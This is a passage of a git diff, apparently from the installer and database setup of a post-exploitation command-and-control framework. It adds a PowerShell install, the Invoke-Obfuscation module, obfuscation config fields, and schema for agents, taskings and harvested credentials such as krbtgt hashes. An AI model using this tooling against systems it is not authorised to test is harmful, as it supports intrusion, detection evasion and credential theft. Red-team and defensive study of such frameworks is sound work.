libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + rm powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb + fi + mkdir -p /usr/local/share/powershell/Modules + cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules else echo "Unknown distro - Debian/Ubuntu Fallback" - apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl-dev + apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl1.0.0 libssl-dev + pip install --upgrade urllib3 pip install setuptools pip install pycrypto pip install iptools @@ -71,6 +108,21 @@ else pip install pyinstaller pip install zlib_wrapper pip install netifaces + if ! which powershell > /dev/null; then + wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7_amd64.deb + wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-alpha.16/powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb + apt-get install -y libunwind8 + dpkg -i libicu55_55.1-7_amd64.deb + dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + dpkg -i powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb + apt-get install -f -y + rm libicu55_55.1-7_amd64.deb + rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + rm powershell_6.0.0-alpha.16-1ubuntu1.16.04.1_amd64.deb + fi + mkdir -p /usr/local/share/powershell/Modules + cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules fi tar -xvf ../data/misc/xar-1.5.2.tar.gz (cd xar-1.5.2 && ./configure) diff --git a/setup/setup_database.py b/setup/setup_database.py index 2285d42a8..d7d37af92 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python import sqlite3, os, string, hashlib from Crypto.Random import random @@ -58,7 +58,11 @@ # the 'permanent' API token (doesn't change) API_PERMANENT_TOKEN = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40)) +# default obfuscation setting +OBFUSCATE = 0 +# default obfuscation command +OBFUSCATE_COMMAND = r'Token\All\1' ################################################### # # Database setup. @@ -84,11 +88,13 @@ "api_username" text, "api_password" text, "api_current_token" text, - "api_permanent_token" text + "api_permanent_token" text, + "obfuscate" integer, + "obfuscate_command" text )''') # kick off the config component of the database -c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY, INSTALL_PATH, IP_WHITELIST, IP_BLACKLIST, '', '', False, API_USERNAME, API_PASSWORD, '', API_PERMANENT_TOKEN)) +c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY, INSTALL_PATH, IP_WHITELIST, IP_BLACKLIST, '', '', False, API_USERNAME, API_PASSWORD, '', API_PERMANENT_TOKEN, OBFUSCATE, OBFUSCATE_COMMAND)) c.execute('''CREATE TABLE "agents" ( "id" integer PRIMARY KEY, @@ -134,7 +140,6 @@ "options" blob )''') - # type = hash, plaintext, token # for krbtgt, the domain SID is stored in misc # for tokens, the data is base64'ed and stored in pass @@ -150,7 +155,6 @@ "notes" text )''') - c.execute( '''CREATE TABLE "taskings" ( "id" integer, "data" text, @@ -173,8 +177,8 @@ "message" text, "time_stamp" text, "taskID" integer, - foreign key("taskID") references results(id) - )''') + FOREIGN KEY(taskID) REFERENCES results(id) +)''') # commit the changes and close everything off conn.commit()